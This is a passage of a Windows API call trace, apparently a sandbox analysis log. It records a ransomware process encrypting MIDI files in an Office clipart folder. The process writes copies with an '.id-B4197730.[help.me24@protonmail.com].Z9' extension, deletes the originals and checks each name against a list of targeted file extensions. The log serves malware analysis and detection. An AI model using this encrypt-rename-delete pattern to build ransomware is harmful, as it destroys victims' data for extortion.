	[0166.810] ReadFile (in: hFile=0x47c, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x1652, lpOverlapped=0x0) returned 1
	[0166.812] WriteFile (in: hFile=0x4a4, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x1660, lpOverlapped=0x0) returned 1
	[0166.813] ReadFile (in: hFile=0x47c, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.814] WriteFile (in: hFile=0x4a4, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.814] SetEndOfFile (hFile=0x4a4) returned 1
	[0166.814] CloseHandle (hObject=0x4a4) returned 1
	[0166.814] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.814] SetEndOfFile (hFile=0x47c) returned 1
	[0166.838] CloseHandle (hObject=0x47c) returned 1
	[0166.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 1
	[0166.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0166.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0166.840] lstrlenW (lpString=".doc") returned 4
	[0166.840] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.840] lstrlenW (lpString=".docx") returned 5
	[0166.840] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0166.840] lstrlenW (lpString=".pdf") returned 4
	[0166.840] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.840] lstrlenW (lpString=".xls") returned 4
	[0166.840] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.840] lstrlenW (lpString=".xlsx") returned 5
	[0166.840] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0166.840] lstrlenW (lpString=".ppt") returned 4
	[0166.840] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0166.840] lstrlenW (lpString=".zip") returned 4
	[0166.840] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.840] lstrlenW (lpString=".rar") returned 4
	[0166.840] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.840] lstrlenW (lpString=".bz2") returned 4
	[0166.840] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.840] lstrlenW (lpString=".7z") returned 3
	[0166.840] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0166.840] lstrlenW (lpString=".dbf") returned 4
	[0166.840] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0166.840] lstrlenW (lpString=".1cd") returned 4
	[0166.840] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0166.840] lstrlenW (lpString=".jpg") returned 4
	[0166.840] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0166.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0166.841] lstrlenW (lpString=".doc") returned 4
	[0166.841] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.841] lstrlenW (lpString=".docx") returned 5
	[0166.841] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0166.841] lstrlenW (lpString=".pdf") returned 4
	[0166.841] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.841] lstrlenW (lpString=".xls") returned 4
	[0166.841] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.841] lstrlenW (lpString=".xlsx") returned 5
	[0166.841] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0166.841] lstrlenW (lpString=".ppt") returned 4
	[0166.841] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0166.841] lstrlenW (lpString=".zip") returned 4
	[0166.841] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.841] lstrlenW (lpString=".rar") returned 4
	[0166.841] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.841] lstrlenW (lpString=".bz2") returned 4
	[0166.841] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.841] lstrlenW (lpString=".7z") returned 3
	[0166.841] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0166.841] lstrlenW (lpString=".dbf") returned 4
	[0166.841] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0166.841] lstrlenW (lpString=".1cd") returned 4
	[0166.841] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0166.841] lstrlenW (lpString=".jpg") returned 4
	[0166.841] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.842] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0166.842] lstrlenW (lpString="PARNT_03.MID") returned 12
	[0166.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0166.842] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=8538) returned 1
	[0166.842] CloseHandle (hObject=0x47c) returned 1
	[0166.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 0x220
	[0166.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0166.843] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.843] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0166.844] GetLastError () returned 0x0
	[0166.844] ReadFile (in: hFile=0x47c, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x215a, lpOverlapped=0x0) returned 1
	[0166.846] WriteFile (in: hFile=0x4a4, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2160, lpOverlapped=0x0) returned 1
	[0166.847] ReadFile (in: hFile=0x47c, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.848] WriteFile (in: hFile=0x4a4, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.848] SetEndOfFile (hFile=0x4a4) returned 1
	[0166.851] CloseHandle (hObject=0x4a4) returned 1
	[0166.851] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.851] SetEndOfFile (hFile=0x47c) returned 1
	[0166.854] CloseHandle (hObject=0x47c) returned 1
	[0166.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 1
	[0166.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0166.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0166.855] lstrlenW (lpString=".doc") returned 4
	[0166.855] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.855] lstrlenW (lpString=".docx") returned 5
	[0166.855] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1
	[0166.855] lstrlenW (lpString=".pdf") returned 4
	[0166.856] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.856] lstrlenW (lpString=".xls") returned 4
	[0166.856] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.856] lstrlenW (lpString=".xlsx") returned 5
	[0166.856] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1
	[0166.856] lstrlenW (lpString=".ppt") returned 4
	[0166.856] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0166.856] lstrlenW (lpString=".zip") returned 4
	[0166.856] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.856] lstrlenW (lpString=".rar") returned 4
	[0166.856] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.856] lstrlenW (lpString=".bz2") returned 4
	[0166.856] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.856] lstrlenW (lpString=".7z") returned 3
	[0166.856] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0166.856] lstrlenW (lpString=".dbf") returned 4
	[0166.856] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0166.856] lstrlenW (lpString=".1cd") returned 4
	[0166.856] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0166.856] lstrlenW (lpString=".jpg") returned 4
	[0166.856] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0166.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0166.856] lstrlenW (lpString=".doc") returned 4
	[0166.856] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.856] lstrlenW (lpString=".docx") returned 5
	[0166.856] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1
	[0166.856] lstrlenW (lpString=".pdf") returned 4
	[0166.856] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.857] lstrlenW (lpString=".xls") returned 4
	[0166.857] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.857] lstrlenW (lpString=".xlsx") returned 5
	[0166.857] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1
	[0166.857] lstrlenW (lpString=".ppt") returned 4
	[0166.857] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0166.857] lstrlenW (lpString=".zip") returned 4
	[0166.857] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.857] lstrlenW (lpString=".rar") returned 4
	[0166.857] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.857] lstrlenW (lpString=".bz2") returned 4
	[0166.857] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.857] lstrlenW (lpString=".7z") returned 3
	[0166.857] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0166.857] lstrlenW (lpString=".dbf") returned 4
	[0166.857] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0166.857] lstrlenW (lpString=".1cd") returned 4
	[0166.857] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0166.857] lstrlenW (lpString=".jpg") returned 4
	[0166.857] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.857] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0166.857] lstrlenW (lpString="PARNT_04.MID") returned 12
	[0166.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0166.858] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=6070) returned 1
	[0166.858] CloseHandle (hObject=0x47c) returned 1
	[0166.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 0x220
	[0166.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0166.859] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.859] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0166.859] GetLastError () returned 0x0
	[0166.859] ReadFile (in: hFile=0x47c, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x17b6, lpOverlapped=0x0) returned 1
	[0166.917] WriteFile (in: hFile=0x4a4, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x17c0, lpOverlapped=0x0) returned 1
	[0166.918] ReadFile (in: hFile=0x47c, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.918] WriteFile (in: hFile=0x4a4, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.918] SetEndOfFile (hFile=0x4a4) returned 1
	[0166.918] CloseHandle (hObject=0x4a4) returned 1
	[0166.919] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.919] SetEndOfFile (hFile=0x47c) returned 1
	[0166.922] CloseHandle (hObject=0x47c) returned 1
	[0166.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 1
	[0166.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0166.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0166.925] lstrlenW (lpString=".doc") returned 4
	[0166.925] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.925] lstrlenW (lpString=".docx") returned 5
	[0166.925] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1
	[0166.926] lstrlenW (lpString=".pdf") returned 4
	[0166.926] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.926] lstrlenW (lpString=".xls") returned 4
	[0166.926] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.926] lstrlenW (lpString=".xlsx") returned 5
	[0166.926] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1
	[0166.926] lstrlenW (lpString=".ppt") returned 4
	[0166.926] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0166.926] lstrlenW (lpString=".zip") returned 4
	[0166.926] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.926] lstrlenW (lpString=".rar") returned 4
	[0166.926] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.926] lstrlenW (lpString=".bz2") returned 4
	[0166.926] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.926] lstrlenW (lpString=".7z") returned 3
	[0166.926] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0166.926] lstrlenW (lpString=".dbf") returned 4
	[0166.926] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0166.926] lstrlenW (lpString=".1cd") returned 4
	[0166.926] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0166.926] lstrlenW (lpString=".jpg") returned 4
	[0166.926] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0166.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0166.926] lstrlenW (lpString=".doc") returned 4
	[0166.926] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.926] lstrlenW (lpString=".docx") returned 5
	[0166.926] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1
	[0166.926] lstrlenW (lpString=".pdf") returned 4
	[0166.926] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.927] lstrlenW (lpString=".xls") returned 4
	[0166.927] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.927] lstrlenW (lpString=".xlsx") returned 5
	[0166.927] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1
	[0166.927] lstrlenW (lpString=".ppt") returned 4
	[0166.927] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0166.927] lstrlenW (lpString=".zip") returned 4
	[0166.927] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.927] lstrlenW (lpString=".rar") returned 4
	[0166.927] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.927] lstrlenW (lpString=".bz2") returned 4
	[0166.927] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.927] lstrlenW (lpString=".7z") returned 3
	[0166.927] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0166.927] lstrlenW (lpString=".dbf") returned 4
	[0166.927] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0166.927] lstrlenW (lpString=".1cd") returned 4
	[0166.927] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0166.927] lstrlenW (lpString=".jpg") returned 4
	[0166.927] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.927] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0166.927] lstrlenW (lpString="PARNT_07.MID") returned 12
	[0166.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0166.928] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=6564) returned 1
	[0166.928] CloseHandle (hObject=0x47c) returned 1
	[0166.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 0x220
	[0166.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0166.929] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.929] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0166.930] GetLastError () returned 0x0
